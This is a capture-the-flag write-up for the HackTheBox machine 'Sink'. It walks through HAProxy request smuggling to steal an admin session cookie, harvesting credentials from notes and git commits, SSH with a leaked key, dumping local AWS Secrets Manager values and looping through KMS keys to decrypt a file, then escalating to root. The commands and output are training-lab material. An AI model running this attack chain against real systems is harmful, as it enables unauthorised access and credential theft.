HTB Sink

Writeup for Sink box on HackTheBox.eu

Initial enumeration

Initial port scan:

Port 5000 is a webserver with the title Sink Devops- this looks interesting

Port 3000 has Gitea

We get a few users from here:

david marcus root

and a company Sink_Solutions

While browsing the site on port 5000 we notice something in the response headers, there is a HAProxy involved in the process

Doing a bad request (invalid header) will show us the HAProxy version

This version of HAProxy is vulnerable to a HTTP Request Smuggling exploit (https://nathandavison.com/blog/haproxy-http-request-smuggling)

It looks like we can do a HTTP request smuggling exploit:

Now we just need to get the correct payload

After posting the request smuggling payload we refresh the homepage and we notice a new comment with strange content

GET /notes/delete/1234 HTTP/1.1 Host: 127.0.0.1:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0 Accept-Encoding: gzip, deflate Accept: */* Cookie: session=eyJlbWFpbCI6ImFkbWluQHNpbmsuaHRiIn0.YDZXow.fqN6DofMjPVO1CQWDgYMehESdCA X-Forwarded-For: 127.0.0.1

Once we change our cookie in the browser we are logged in as the administrator user.

Going through the notes on the site we find some new credentials and some new vhosts

Chef Login : http://chef.sink.htb Username : chefadm Password : /6'fEGC&zEx{4]zz 
Dev Node URL : http://code.sink.htb Username : root Password : FaH@3L>Z3})zzfQ3 
Nagios URL : https://nagios.sink.htb Username : nagios_adm Password : g8<H6GK\{*L.fB3C

Initial foothold

Testing the credentials on http://sink.htb:3000 which is the git repository we find the root credentials which work.

Going through the repositories we find Log_Management, while browsing through the commits we discover leaked credentials

http://sink.htb:3000/root/Log_Management/commit/e8d68917f2570f3695030d0ded25dc95738fb1ba

<?php
require 'vendor/autoload.php';

use Aws\CloudWatchLogs\CloudWatchLogsClient;
use Aws\Exception\AwsException;

$client = new CloudWatchLogsClient([
	'region' => 'eu',
	'endpoint' => 'http://127.0.0.1:4566',
	'credentials' => [
		'key' => 'AKIAIUEN3QWCPSTEITJQ',
		'secret' => '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'
	],
	'version' => 'latest'
]);
try {
$client->createLogGroup(array(
	'logGroupName' => 'Chef_Events',
));
}
catch (AwsException $e) {
    echo $e->getMessage();
    echo "\n";
}
try {
$client->createLogStream([
	'logGroupName' => 'Chef_Events',
	'logStreamName' => '20201120'
]);
}catch (AwsException $e) {
    echo $e->getMessage();
    echo "\n";
}
?>

In a separate repository we find an openssh private key http://sink.htb:3000/root/Key_Management/commit/b01a6b7ed372d154ed0bc43a342a5e1203d07b1e

Testing the rsa key to ssh into the server with the user which commited the key allows us access.

ssh -i rsa_1 marcus@sink

Here we find the first flag.

Privilege escalation

We know there is an aws service running on port 4566. Doing a curl request to the port returns a status of running.

curl http://127.0.0.1:4566/health
{"services": {"logs": "running", "secretsmanager": "running", "kms": "running"}}

Trying to list the secrets from secretsmanager with the aws cli command line shows an error that aws cli is not configured.

aws --endpoint-url="http://127.0.0.1:4566" secretsmanager list-secrets
You must specify a region. You can also configure your region by running "aws configure".

Configure AWS

aws configure
AWS Access Key ID [None]: AKIAIUEN3QWCPSTEITJQ
AWS Secret Access Key [None]: paVI8VgTWkPI3jDNkdzUMvK4CcdXO2T7sePX0ddF
Default region name [None]: eu-west-2
Default output format [None]: json

aws --endpoint-url="http://127.0.0.1:4566" secretsmanager list-secrets

{
    "SecretList": [
        {
            "ARN": "arn:aws:secretsmanager:us-east-1:1234567890:secret:Jenkins Login-FvTyR",
            "Name": "Jenkins Login",
            "Description": "Master Server to manage release cycle 1",
            "KmsKeyId": "",
            "RotationEnabled": false,
            "RotationLambdaARN": "",
            "RotationRules": {
                "AutomaticallyAfterDays": 0
            },
            "Tags": [],
            "SecretVersionsToStages": {
                "6487e6cf-adb3-48df-ae89-a43a2633ed43": [
                    "AWSCURRENT"
                ]
            }
        },
        {
            "ARN": "arn:aws:secretsmanager:us-east-1:1234567890:secret:Sink Panel-iaNrS",
            "Name": "Sink Panel",
            "Description": "A panel to manage the resources in the devnode",
            "KmsKeyId": "",
            "RotationEnabled": false,
            "RotationLambdaARN": "",
            "RotationRules": {
                "AutomaticallyAfterDays": 0
            },
            "Tags": [],
            "SecretVersionsToStages": {
                "7fcc66cc-a301-465e-a589-a8932d70a2c4": [
                    "AWSCURRENT"
                ]
            }
        },
        {
            "ARN": "arn:aws:secretsmanager:us-east-1:1234567890:secret:Jira Support-owtgQ",
            "Name": "Jira Support",
            "Description": "Manage customer issues",
            "KmsKeyId": "",
            "RotationEnabled": false,
            "RotationLambdaARN": "",
            "RotationRules": {
                "AutomaticallyAfterDays": 0
            },
            "Tags": [],
            "SecretVersionsToStages": {
                "d4741d30-5806-4c38-8a0e-3e8b93757b1f": [
                    "AWSCURRENT"
                ]
            }
        }
    ]
}

Getting the values from the secrets

aws --endpoint-url="http://127.0.0.1:4566" secretsmanager get-secret-value --secret-id "arn:aws:secretsmanager:us-east-1:1234567890:secret:Jira Support-owtgQ"

{
    "ARN": "arn:aws:secretsmanager:us-east-1:1234567890:secret:Jira Support-owtgQ",
    "Name": "Jira Support",
    "VersionId": "d4741d30-5806-4c38-8a0e-3e8b93757b1f",
    "SecretString": "{\"username\":\"[email protected]\",\"password\":\"EALB=bcC=`a7f2#k\"}",
    "VersionStages": [
        "AWSCURRENT"
    ],
    "CreatedDate": 1614174150
}

aws --endpoint-url="http://127.0.0.1:4566" secretsmanager get-secret-value --secret-id "arn:aws:secretsmanager:us-east-1:1234567890:secret:Sink Panel-iaNrS"

{
    "ARN": "arn:aws:secretsmanager:us-east-1:1234567890:secret:Sink Panel-iaNrS",
    "Name": "Sink Panel",
    "VersionId": "7fcc66cc-a301-465e-a589-a8932d70a2c4",
    "SecretString": "{\"username\":\"[email protected]\",\"password\":\"Welcome123!\"}",
    "VersionStages": [
        "AWSCURRENT"
    ],
    "CreatedDate": 1614174150
}

aws --endpoint-url="http://127.0.0.1:4566" secretsmanager get-secret-value --secret-id "arn:aws:secretsmanager:us-east-1:1234567890:secret:Jenkins Login-FvTyR"

{
    "ARN": "arn:aws:secretsmanager:us-east-1:1234567890:secret:Jenkins Login-FvTyR",
    "Name": "Jenkins Login",
    "VersionId": "6487e6cf-adb3-48df-ae89-a43a2633ed43",
    "SecretString": "{\"username\":\"[email protected]\",\"password\":\"R);\\)ShS99mZ~8j\"}",
    "VersionStages": [
        "AWSCURRENT"
    ],
    "CreatedDate": 1614174150
}

There is david user on the box, let's try the credentials.

marcus@sink:/home$ su david
Password: EALB=bcC=`a7f2#k
david@sink:/home$

Doing some enumeration with David we discover a Projects folder in his home folder.

Listing KMS keys

david@sink:~/Projects/Prod_Deployment$ aws configure
AWS Access Key ID [None]: AKIAIUEN3QWCPSTEITJQ
AWS Secret Access Key [None]: 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
Default region name [None]: eu-west-2
Default output format [None]: json
david@sink:~/Projects/Prod_Deployment$ aws --endpoint-url="http://127.0.0.1:4566/" kms list-keys
{
    "Keys": [
        {
            "KeyId": "0b539917-5eff-45b2-9fa1-e13f0d2c42ac",
            "KeyArn": "arn:aws:kms:us-east-1:000000000000:key/0b539917-5eff-45b2-9fa1-e13f0d2c42ac"
        },
        {
            "KeyId": "16754494-4333-4f77-ad4c-d0b73d799939",
            "KeyArn": "arn:aws:kms:us-east-1:000000000000:key/16754494-4333-4f77-ad4c-d0b73d799939"
        },
        {
            "KeyId": "2378914f-ea22-47af-8b0c-8252ef09cd5f",
            "KeyArn": "arn:aws:kms:us-east-1:000000000000:key/2378914f-ea22-47af-8b0c-8252ef09cd5f"
        },
        {
            "KeyId": "2bf9c582-eed7-482f-bfb6-2e4e7eb88b78",
            "KeyArn": "arn:aws:kms:us-east-1:000000000000:key/2bf9c582-eed7-482f-bfb6-2e4e7eb88b78"
        },
        {
            "KeyId": "53bb45ef-bf96-47b2-a423-74d9b89a297a",
            "KeyArn": "arn:aws:kms:us-east-1:000000000000:key/53bb45ef-bf96-47b2-a423-74d9b89a297a"
        },
        {
            "KeyId": "804125db-bdf1-465a-a058-07fc87c0fad0",
            "KeyArn": "arn:aws:kms:us-east-1:000000000000:key/804125db-bdf1-465a-a058-07fc87c0fad0"
        },
        {
            "KeyId": "837a2f6e-e64c-45bc-a7aa-efa56a550401",
            "KeyArn": "arn:aws:kms:us-east-1:000000000000:key/837a2f6e-e64c-45bc-a7aa-efa56a550401"
        },
        {
            "KeyId": "881df7e3-fb6f-4c7b-9195-7f210e79e525",
            "KeyArn": "arn:aws:kms:us-east-1:000000000000:key/881df7e3-fb6f-4c7b-9195-7f210e79e525"
        },
        {
            "KeyId": "c5217c17-5675-42f7-a6ec-b5aa9b9dbbde",
            "KeyArn": "arn:aws:kms:us-east-1:000000000000:key/c5217c17-5675-42f7-a6ec-b5aa9b9dbbde"
        },
        {
            "KeyId": "f0579746-10c3-4fd1-b2ab-f312a5a0f3fc",
            "KeyArn": "arn:aws:kms:us-east-1:000000000000:key/f0579746-10c3-4fd1-b2ab-f312a5a0f3fc"
        },
        {
            "KeyId": "f2358fef-e813-4c59-87c8-70e50f6d4f70",
            "KeyArn": "arn:aws:kms:us-east-1:000000000000:key/f2358fef-e813-4c59-87c8-70e50f6d4f70"
        }
    ]
}
david@sink:~/Projects/Prod_Deployment$

Based on the keys in AWS KMS we can try to decode the servers.enc file, to ease the process we can write a bash script.

#!/bin/bash

for k in $(aws --endpoint-url="http://127.0.0.1:4566/" kms list-keys | grep "KeyId" | cut -d '"' -f 4); do
        echo "Testing decrypt with ${k}";
        aws --endpoint-url="http://127.0.0.1:4566/" kms decrypt --key-id "${k}" --ciphertext-blob "fileb:///home/david/Projects/Prod_Deployment/servers.enc" --encryption-algorithm "RSAES_OAEP_SHA_256" --output "text" --query "Plaintext"        
done

Testing decrypt with 0b539917-5eff-45b2-9fa1-e13f0d2c42ac

An error occurred (DisabledException) when calling the Decrypt operation: 0b539917-5eff-45b2-9fa1-e13f0d2c42ac is disabled.
Testing decrypt with 16754494-4333-4f77-ad4c-d0b73d799939

An error occurred (DisabledException) when calling the Decrypt operation: 16754494-4333-4f77-ad4c-d0b73d799939 is disabled.
Testing decrypt with 2378914f-ea22-47af-8b0c-8252ef09cd5f

An error occurred (DisabledException) when calling the Decrypt operation: 2378914f-ea22-47af-8b0c-8252ef09cd5f is disabled.
Testing decrypt with 2bf9c582-eed7-482f-bfb6-2e4e7eb88b78

An error occurred (DisabledException) when calling the Decrypt operation: 2bf9c582-eed7-482f-bfb6-2e4e7eb88b78 is disabled.
Testing decrypt with 53bb45ef-bf96-47b2-a423-74d9b89a297a

An error occurred (DisabledException) when calling the Decrypt operation: 53bb45ef-bf96-47b2-a423-74d9b89a297a is disabled.
Testing decrypt with 804125db-bdf1-465a-a058-07fc87c0fad0
H4sIAAAAAAAAAytOLSpLLSrWq8zNYaAVMAACMxMTMA0E6LSBkaExg6GxubmJqbmxqZkxg4GhkYGhAYOCAc1chARKi0sSixQUGIry80vwqSMkP0RBMTj+rbgUFHIyi0tS8xJTUoqsFJSUgAIF+UUlVgoWBkBmRn5xSTFIkYKCrkJyalFJsV5xZl62XkZJElSwLLE0pwQhmJKaBhIoLYaYnZeYm2qlkJiSm5kHMjixuNhKIb40tSqlNFDRNdLU0SMt1YhroINiRIJiaP4vzkynmR2E878hLP+bGALZBoaG5qamo/mfHsCgsY3JUVnT6ra3Ea8jq+qJhVuVUw32RXC+5E7RteNPdm7ff712xavQy6bsqbYZO3alZbyJ22V5nP/XtANG+iunh08t2GdR9vUKk2ON1IfdsSs864IuWBr95xPdoDtL9cA+janZtRmJyt8crn9a5V7e9aXp1BcO7bfCFyZ0v1w6a8vLAw7OG9crNK/RWukXUDTQATEKRsEoGAWjYBSMglEwCkbBKBgFo2AUjIJRMApGwSgYBaNgFIyCUTAKRsEoGAWjYBSMglEwRAEATgL7TAAoAAA=
Testing decrypt with 837a2f6e-e64c-45bc-a7aa-efa56a550401

An error occurred (DisabledException) when calling the Decrypt operation: 837a2f6e-e64c-45bc-a7aa-efa56a550401 is disabled.
Testing decrypt with 881df7e3-fb6f-4c7b-9195-7f210e79e525

An error occurred (DisabledException) when calling the Decrypt operation: 881df7e3-fb6f-4c7b-9195-7f210e79e525 is disabled.
Testing decrypt with c5217c17-5675-42f7-a6ec-b5aa9b9dbbde

An error occurred (InternalFailureException) when calling the Decrypt operation (reached max retries: 4): key type not yet supported for decryption
Testing decrypt with f0579746-10c3-4fd1-b2ab-f312a5a0f3fc

An error occurred (DisabledException) when calling the Decrypt operation: f0579746-10c3-4fd1-b2ab-f312a5a0f3fc is disabled.
Testing decrypt with f2358fef-e813-4c59-87c8-70e50f6d4f70

An error occurred (DisabledException) when calling the Decrypt operation: f2358fef-e813-4c59-87c8-70e50f6d4f70 is disabled.

Trying to simply base64 decode the string ends up in gibberish.

Writing the data to a file and checking the file type it shows as a gzip

The file seems to be a tar archive, let's extract it.

Checking the password for admin for the root user on the box we get access.

david@sink:~/Projects/Prod_Deployment$ su root
Password: _uezduQ!EY5AHfe2

And here we get the root flag